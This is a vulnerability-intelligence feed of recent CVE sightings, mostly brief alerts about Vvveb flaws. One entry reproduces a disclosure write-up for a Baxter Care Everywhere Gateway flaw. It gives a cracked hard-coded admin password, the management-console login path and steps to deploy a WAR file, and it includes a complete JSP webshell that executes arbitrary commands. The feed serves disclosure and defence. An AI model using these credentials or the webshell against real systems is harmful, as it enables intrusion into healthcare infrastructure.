https://vulnerability.circl.lu/sightings/feed 2026-08-11T22:56:27.998839+00:00 Vulnerability-Lookup info@circl.lu python-feedgen Contains only the most 10 recent sightings. https://vulnerability.circl.lu/sighting/2dec1751-33ee-473c-820a-4fd990b65720/export 2026-08-11T22:56:28.030925+00:00 Automation user https://cvepremium.circl.lu/user/automation {"uuid": "2dec1751-33ee-473c-820a-4fd990b65720", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-41939", "type": "seen", "source": "https://bsky.app/profile/stackflag.bsky.social/post/3mrslmpdake2k", "content": "CVE-2026-41939\nA security flaw in Care Everywhere Gateway 14.3.10 allows anyone to access the system's administration tools without a password. This is a concern because it could allow unauthorized access to the system. If\u2026\n\nToo many irrelevant or confusing CVEs? Use stackflag.com\n\n#CVE #infosec", "creation_timestamp": "2026-07-29T18:48:06.044288Z"} 2026-07-29T18:48:06.044288+00:00 https://vulnerability.circl.lu/sighting/3e85b32a-619c-4a82-9471-76e817595aad/export 2026-08-11T22:56:28.035437+00:00 Automation user https://cvepremium.circl.lu/user/automation {"uuid": "3e85b32a-619c-4a82-9471-76e817595aad", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-41939", "type": "seen", "source": "https://gist.github.com/VAMorales/95874f23e27e17362b87133013834c0a", "content": "# 1. Exploit Title: Baxter - Care Everywhere Gateway Hard-coded Credentials + RCE via WildFly\n## Disclosure Date: 07/29/2026\n## CVE ID: [CVE-2026-41939](https://www.cve.org/cverecord?id=CVE-2026-41939)\n## Exploit Authors: Victor A. Morales of GM Sectec, Corp.\n## Vendor Homepage: https://www.intuvie.com/products-overview\n## Known Affected Versions: 14.3.10 (other prior versions may be vulnerable)\n\n### Description\nCare Everywhere Gateway runs on WildFly webserver on ports 20080 and 20043. The JBOSS Management Console is exposed by default on port 20990.\nHardcoded hashed credentials for the CEAdmin account are found in the location:\n`E:\\AppServers\\wildfly-8.2.0.Final\\standalone\\configuration\\mgmt-users.properties`\n\nThe password hash can be cracked to: l0g1nnatick\n\n### Proof-of-Concept\n\nNavigate to `http://:20990/console/App.html` and login with the credentials CEAdmin:l0g1nnatick.\n\nGo to the **Administration** section, upload and deploy a malicious Web Application Resource (WAR) file.\n\nWebshell used: index.jsp\n```jsp\n\n <%@ page import=\"java.io.*\" %> <% String cmd = request.getParameter(\"cmd\"); String output = \"\"; if(cmd != null) { String s = null; try { Process p = Runtime.getRuntime().exec(cmd,null,null); BufferedReader sI = new BufferedReader(new InputStreamReader(p.getInputStream())); while((s = sI.readLine()) != null) { output += s+\"\"; } } catch(IOException e) { e.printStackTrace(); } } %> \n<%=output %>\n```", "creation_timestamp": "2026-07-29T17:13:53.438507Z"} 2026-07-29T17:13:53.438507+00:00 https://vulnerability.circl.lu/sighting/089f42e6-7eb2-4dd7-8ef9-03f5ca4553c4/export 2026-08-11T22:56:28.035599+00:00 Automation user https://cvepremium.circl.lu/user/automation {"uuid": "089f42e6-7eb2-4dd7-8ef9-03f5ca4553c4", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "cve-2026-41930", "type": "seen", "source": "https://infosec.exchange/users/offseq/statuses/116531057607844633", "content": "\u203c\ufe0f CRITICAL vuln: givanz Vvveb <1.0.8.2 exposes phpMyAdmin via hard-coded creds in docker-compose-apache.yaml (CVE-2026-41930). Unauth attackers get full DB access. Restrict access & monitor for patches. https://radar.offseq.com/threat/cve-2026-41930-cwe-306-missing-authentication-for--7e13eb3d #OffSeq #Vulnerability #Security", "creation_timestamp": "2026-05-07T03:00:37.218497Z"} 2026-05-07T03:00:37.218497+00:00 https://vulnerability.circl.lu/sighting/333d17ef-5119-4e4c-97b5-837e17ee94ee/export 2026-08-11T22:56:28.035709+00:00 Automation user https://cvepremium.circl.lu/user/automation {"uuid": "333d17ef-5119-4e4c-97b5-837e17ee94ee", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "cve-2026-41930", "type": "seen", "source": "https://bsky.app/profile/offseq.bsky.social/post/3mla7xt6weu2l", "content": "CRITICAL: givanz Vvveb <1.0.8.2 lets unauthenticated attackers access phpMyAdmin & full DB via hard-coded creds. Restrict phpMyAdmin access now & watch for patches. https://radar.offseq.com/threat/cve-2026-41930-cwe-306-missing-authentication-for--7e13eb3d #OffSeq #Vulnerability #Security", "creation_timestamp": "2026-05-07T03:00:30.539366Z"} 2026-05-07T03:00:30.539366+00:00 https://vulnerability.circl.lu/sighting/a00f69c1-0a45-4be8-a120-879aa832410b/export 2026-08-11T22:56:28.035820+00:00 Automation user https://cvepremium.circl.lu/user/automation {"uuid": "a00f69c1-0a45-4be8-a120-879aa832410b", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-41938", "type": "seen", "source": "https://bsky.app/profile/thehackerwire.bsky.social/post/3ml7lbjqwpq2e", "content": "\ud83d\udfe0 CVE-2026-41938 - High (8.8)\n\nVvveb before version 1.0.8.2 contains an unrestricted file upload vulnerability in the media uplo...\n\nhttps://www.thehackerwire.com/vulnerability/CVE-2026-41938/\n\n#infosec #cybersecurity #CVE #vulnerability #security #patchstack", "creation_timestamp": "2026-05-06T20:50:07.566335Z"} 2026-05-06T20:50:07.566335+00:00 https://vulnerability.circl.lu/sighting/ff4d94db-1b8d-403f-a325-976ec1912913/export 2026-08-11T22:56:28.035929+00:00 Automation user https://cvepremium.circl.lu/user/automation {"uuid": "ff4d94db-1b8d-403f-a325-976ec1912913", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-41936", "type": "seen", "source": "https://bsky.app/profile/thehackerwire.bsky.social/post/3ml7l2uurfe2n", "content": "\ud83d\udfe0 CVE-2026-41936 - High (8.1)\n\nVvveb before version 1.0.8.2 contains an XML external entity (XXE) injection vulnerability in the...\n\nhttps://www.thehackerwire.com/vulnerability/CVE-2026-41936/\n\n#infosec #cybersecurity #CVE #vulnerability #security #patchstack", "creation_timestamp": "2026-05-06T20:46:24.733017Z"} 2026-05-06T20:46:24.733017+00:00 https://vulnerability.circl.lu/sighting/e51dbaf1-90ad-4171-878b-181917371a4f/export 2026-08-11T22:56:28.036035+00:00 Automation user https://cvepremium.circl.lu/user/automation {"uuid": "e51dbaf1-90ad-4171-878b-181917371a4f", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-41934", "type": "seen", "source": "https://bsky.app/profile/thehackerwire.bsky.social/post/3ml7l2ndbu42n", "content": "\ud83d\udfe0 CVE-2026-41934 - High (8.8)\n\nVvveb before version 1.0.8.2 contains an authenticated remote code execution vulnerability in the...\n\nhttps://www.thehackerwire.com/vulnerability/CVE-2026-41934/\n\n#infosec #cybersecurity #CVE #vulnerability #security #patchstack", "creation_timestamp": "2026-05-06T20:46:17.582922Z"} 2026-05-06T20:46:17.582922+00:00 https://vulnerability.circl.lu/sighting/c6a4a625-6922-4def-bb5a-f1a9a562a0e1/export 2026-08-11T22:56:28.036144+00:00 Automation user https://cvepremium.circl.lu/user/automation {"uuid": "c6a4a625-6922-4def-bb5a-f1a9a562a0e1", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-41930", "type": "seen", "source": "https://bsky.app/profile/thehackerwire.bsky.social/post/3ml7l2fwtfp2f", "content": "\ud83d\udd34 CVE-2026-41930 - Critical (9.8)\n\nVvveb before version 1.0.8.2 contains a hard-coded credentials vulnerability in its docker-compos...\n\nhttps://www.thehackerwire.com/vulnerability/CVE-2026-41930/\n\n#infosec #cybersecurity #CVE #vulnerability #security #patchstack", "creation_timestamp": "2026-05-06T20:46:08.154016Z"} 2026-05-06T20:46:08.154016+00:00